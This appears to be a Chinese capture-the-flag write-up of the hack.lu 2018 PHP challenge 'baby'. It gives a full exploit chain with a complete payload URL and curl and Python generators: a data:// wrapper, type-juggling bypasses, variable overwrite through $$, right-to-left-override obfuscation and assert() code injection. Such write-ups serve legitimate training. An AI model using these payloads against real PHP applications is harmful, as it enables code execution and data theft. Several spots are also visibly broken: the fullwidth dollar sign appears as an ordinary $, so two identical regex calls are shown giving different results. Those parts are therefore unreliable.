不带参数访问,highlight_file(__FILE__) 会把整个文件回显到页面上,白盒审计,六道判断依次把关。这道题出自 hack.lu CTF 2018 的 Web 题 baby,rawsec 的题解 有逐步记录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php

require_once('flag.php');
error_reporting(0);

if(!isset($_GET['msg'])){
highlight_file(__FILE__);
die();
}

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
}

echo "Hello Hacker! Have a look around.\n";

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
}

if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
}
}
}

list($k1,$k2) = [$k2, $k1];

if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
}
}

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){
die("lel no\n");
}

// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

echo "Good Job ;)";
// TODO
// echo $flag;

源码中间有一行的变量名中间夹着 U+202E(右至左覆盖符),那一行的字符顺序被整体打翻,看起来很像一次普通赋值。按字面读成赋值为 1 就会永远卡在 lel no,第五关给出它的字节。

每道判断的出口文案构成一条断点:

阶段 响应
不带参数 源码
msg 未过 Wow so rude!!!!1
第二关未过 lol no
第三、四关未过 lel no
第五关过了但断言失败 问候语之后无输出
全部通过 flag + Good Job ;)

第三、四关失败时的文案和第五关一样,都是 lel no,想分开判断得在那两处后面插一句 var_dump(strlen($k2), $cc)。

第一、二关:伪协议与类型夹缝

第一关要求文件读取的返回值严格等于 "Hello Challenge!",16 字节,末尾不带换行。

$msg 被直接当文件名或 URL 用,data:// 包装器能凭空造出一个文件:

1
?msg=data://text/plain,Hello%20Challenge!

php://input 也能过,但要求同时发 POST body,浏览器地址栏打不了。环境把外连也封了,自己搭个返回字符串的 HTTP 服务(RFI)打不通。

响应变成 Hello Hacker! Have a look around. 加一句 lol no,第一关到手。

1
if(intval($k1) !== $cc || $k1 === $cc){ die("lol no\n"); }

intval($k1) 的结果必须严格等于整数 1337,而原值又不允许全等于它。

GET 传进来的一律是字符串,"1337" === 1337 在类型上就不成立,直接传 key1=1337 即可:

1
2
php > var_dump(intval('1337') !== 1337 || '1337' === 1337);
bool(false)

补上这个参数,文案从 lol no 变成 lel no。

intval() 对同一串数字的不同写法处理并不一致:

1
2
3
4
php > var_dump(intval('01337'), intval('1337abc'), intval('1337e10'));
int(1337) // 前导零,按十进制
int(1337) // 尾部带字母,只取前导数字
int(13370000000000) // 科学计数法,整串当数值转换

只有非数字字符串才走「取前导数字」那条路。中文资料里流传过 1337e10 的写法,按这条链跑不通:它会被整串当数值转换,第二关直接 lol no。

第三关:42 字节与全角 $

1
2
3
4
5
if(strlen($k2) == $bb){                                    // $bb = 42
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){ @$cc = $_GET['cc']; }
}
}

四个条件叠在一起:长度 42、以数字开头且紧跟一个 $、不被判定为数字、值等于 1337。

strlen() 数的是字节不是字符。这个全角符号的码位是 U+FF04,和半角的 $ 差得远,只是字形接近,UTF-8 占三个字节。

所以「42 字节」里只能放 39 个 ASCII 字符,剩下的 3 字节留给它。按「35 个 0 接 1337」分配,35 + 4 + 3 = 42,长度和值两个条件同时满足。

$ 和 $ 在等宽字体里几乎同形,语义完全不同——它是字面字符,不是行尾锚点。同一份 payload 喂给两个正则,结果直接分家:

1
2
3
4
php > $k2 = str_repeat('0',35).'1337'."\u{FF04}";
php > var_dump(strlen($k2)); // int(42)
php > var_dump(preg_match('/^\d+$/', $k2)); // int(1)
php > var_dump(preg_match('/^\d+$/', $k2)); // int(0)

最后那个 $k2 == $cc 用的是宽松比较,PHP 7 会把以数字开头的字符串按前导数字转成整数,尾巴上的全角字符被忽略:

1
2
php > var_dump('000000000000000000000000000000000001337$' == 1337);
bool(true)
1
&key2=000000000000000000000000000000000001337%EF%BC%84

%EF%BC%84 就是那三个字节 EF BC 84 的 URL 编码。

这一关过了 $cc 才被重新赋值,从这里开始归我们控制。

第四关:substr 与 sha1 的 NULL 返回

1
2
3
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){ $$lel = $hack; }
}

sha1() 固定返回 40 个字符,substr($cc, 42) 要严格等于这个 40 字符的串。哈希由整串算出,而整串里又包含这段哈希,改任一处另一处必变——自指,构造不出来。

换类型。两个函数的参数声明都是 string,PHP 7 遇到数组只发一条 warning 然后返回空值,两边同时为空,严格比较就成立了:

1
2
3
4
php > var_dump(substr([], 42), sha1([]), substr([], 42) === sha1([]));
NULL
NULL
bool(true)

传 cc[]= 就能把 $cc 变成数组,元素只有一个空串,关键是它不再是字符串。warning 被 error_reporting 关掉,这一关安静地过。

foreach 就在这个 if 里面,过了这关才执行——它同时也是一次对 $_GET 所有键的任意变量赋值。

第五关:变量覆盖与 RLO 混淆

1
2
3
4
5
list($k1,$k2) = [$k2, $k1];   // 第四关的 if(substr…foreach…) 段略去

$‮b = "2";$a="‮b";//;1=b

if($$a !== $k1){ die("lel no\n"); }

左右值交换之后,$k1 变成了那个 42 字节的 payload。

但 foreach 在这之后跑,GET 里每个键都会被注册成同名变量,多传一个 k1 就能把它盖回去。

$a 的值是 RLO 加字母 b 的这四个字节,$$a 因此解析回同一个变量,取到字符串 2。

强比较要求 $k1 也是字符串形态,整数 2 与字符串 2 在 !== 下并不相等。

GET 传上来天然是字符串,&k1=2 正好。

那行代码的真实字节,行号按自己文件里的位置来:

1
2
3
$ sed -n '43p' index.php | xxd -g1
00000000: 24 e2 80 ae 62 20 3d 20 22 32 22 3b 24 61 3d 22 $...b = "2";$a="
00000010: e2 80 ae 62 22 3b 2f 2f 3b 31 3d 62 0a ...b";//;1=b.

24 e2 80 ae 62 —— 美元符号后面紧跟 E2 80 AE,再是字母 b。

变量名不是 $b,是 $\xe2\x80\xaeb,中间多了三个字节。

变量名和 $a 的值必须逐字节一致,才能解析回同一个变量。两边有一处漏掉这三个字节,$$a 就指向另一个不存在的变量,强比较直接失败。

RLO 的作用是把其后字符的显示顺序颠倒。这一行在编辑器里看起来像一次普通的 $b=1 赋值,读代码的人容易照着这个结论去猜「$$a 为什么恒为 1」,然后一路卡到超时。

第六关:assert 字符串执行

1
2
3
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");
echo "Good Job ;)";

被注释掉的 // echo $flag; 交代了 flag 的变量名,而 PHP 7 的 assert() 收到字符串时会把整串当 PHP 代码求值。

payload 里的 bb=print_r($flag);// 覆盖掉原来的 42——foreach 会把每个键注册成同名变量。

$cc 是数组,插值时变成字符串 Array,拼出来的断言串是:

1
print_r($flag);// == Array

// 把 == Array 变成注释,前面留下的就是一条完整的 print_r 调用。

不传 bb 的话断言串停在 42 == Array。Array 是 PHP 的保留字,这段字符串根本编译不过,直接抛 ParseError。

配上 error_reporting(0),问候语之后就没有任何输出了,本地调试时最容易被当成 payload 写错。

assert_options(ASSERT_BAIL, 1) 让断言失败时中止执行。这里 print_r 返回 true,断言算通过,不触发 bail,后面的 Good Job 照常输出。

bail 到底管不管用,对照跑一次就清楚了:

1
2
3
4
5
php > assert_options(ASSERT_BAIL,1); assert("1==2"); echo "CONTINUE\n";
Warning: ... failed // 没有 CONTINUE,bail 生效
php > assert("1==2"); echo "CONTINUE\n";
Warning: ... failed
CONTINUE

PHP 7.2 起字符串形式的 assert() 还会抛 E_DEPRECATED,同样被 error_reporting 压掉。

前提是 assert.active 与 zend.assertions 同为 1,关掉任一个就没有这条提示。

页面没输出时把 error_reporting 临时改成 E_ALL,或直接看 php -S 的 stderr,ParseError 和 Deprecated 都藏不住。

完整 payload 和成功回显(flag 值隐去):

1
http://127.0.0.1:8899/?msg=data%3A%2F%2Ftext%2Fplain%2CHello%20Challenge%21&key1=1337&key2=000000000000000000000000000000000001337%EF%BC%84&cc%5B%5D=&k1=2&bb=print_r%28%24flag%29%3B%2F%2F
1
2
Hello Hacker! Have a look around.
flag{***}Good Job ;)
本地复现脚本与 URL 生成

两个文件就能起靶场,index.php 照抄上面的源码(RLO 那行要按字节还原),flag.php 里放 $flag 变量。启动:

1
php -S 127.0.0.1:8899 -t .

用 curl 逐级追加参数验证:

1
2
3
4
5
6
7
8
9
K2="$(printf '0%.0s' $(seq 1 35))1337"

curl -s -G "http://127.0.0.1:8899/" \
--data-urlencode "msg=data://text/plain,Hello Challenge!" \
--data-urlencode "key1=1337" \
--data-urlencode "key2=${K2}$" \
--data-urlencode "cc[]=" \
--data-urlencode "k1=2" \
--data-urlencode "bb=print_r(\$flag);//"

printf '0%.0s' $(seq 1 35) 生成 35 个零,比手数靠谱。生成完整 URL 用 Python,顺带把全角字符转成正确的百分号编码:

1
2
3
4
5
6
7
8
9
10
11
12
from urllib.parse import quote

k2 = '0' * 35 + '1337' + '\uFF04' # 35 + 4 + 3(UTF-8) = 42 字节
params = [
('msg', 'data://text/plain,Hello Challenge!'),
('key1', '1337'),
('key2', k2),
('cc[]', ''),
('k1', '2'),
('bb', 'print_r($flag);//'),
]
print('&'.join(quote(k, safe='') + '=' + quote(v, safe='') for k, v in params))

版本要求

整条链靠的是 PHP 7 的宽松行为:数字开头的字符串与整数比较,按前导数字取值;内置函数收到数组不报错,返回 NULL;assert() 收到字符串,当代码执行。

PHP 8 把这三处分别改成:数字与非数字字符串比较时先把数字转成字符串再比、抛 TypeError、不再执行,第三、四、六关都会断。

靶场要用 PHP 7 跑,并且 php.ini 里 zend.assertions=1。

发行包自带的 php.ini-production 模板把它设成 -1,这个值下 assert() 整句在编译期就被优化掉,PHP 7 同样拿不到 flag。

踩坑记录

走的弯路 当时为什么这么想 现在怎么避开
按 42 个字符凑,用 37 个 0 把 strlen 当成数字符 先 `printf ‘%s’ “$K2$” \ wc -c` 量字节
把 $ 读成行尾锚点,觉得「纯数字又 !is_numeric」自相矛盾 等宽字体里两个字符同形 复制出来看码位,0xff04 一眼就露
把源码那行照抄成 $b=1,k1=2 永远 lel no 复制的是 RLO 打乱后的显示文本 xxd 看字节,找 e2 80 ae
想构造 $cc 满足 substr($cc,42) === sha1($cc),甚至去查 sha1 碰撞 没意识到内置函数收数组会返回 NULL 等式两边都是函数返回值时,先问能不能同时为 NULL
第五关过了但页面没下文,以为 payload 写错 error_reporting(0) 把 assert 的 ParseError 一起吞了,Array 是保留字,42 == Array 编译不过 看 php -S 的 stderr,报错原文写着哪一行

六个条件里没有一个依赖新特性,全是 PHP 一直以来的宽松行为。换到 PHP 8,这条链就断了,但代码里出现函数返回值参与严格比较、$$$$ 开头的变量、正则里认不出的字符,这三处跟版本没关系。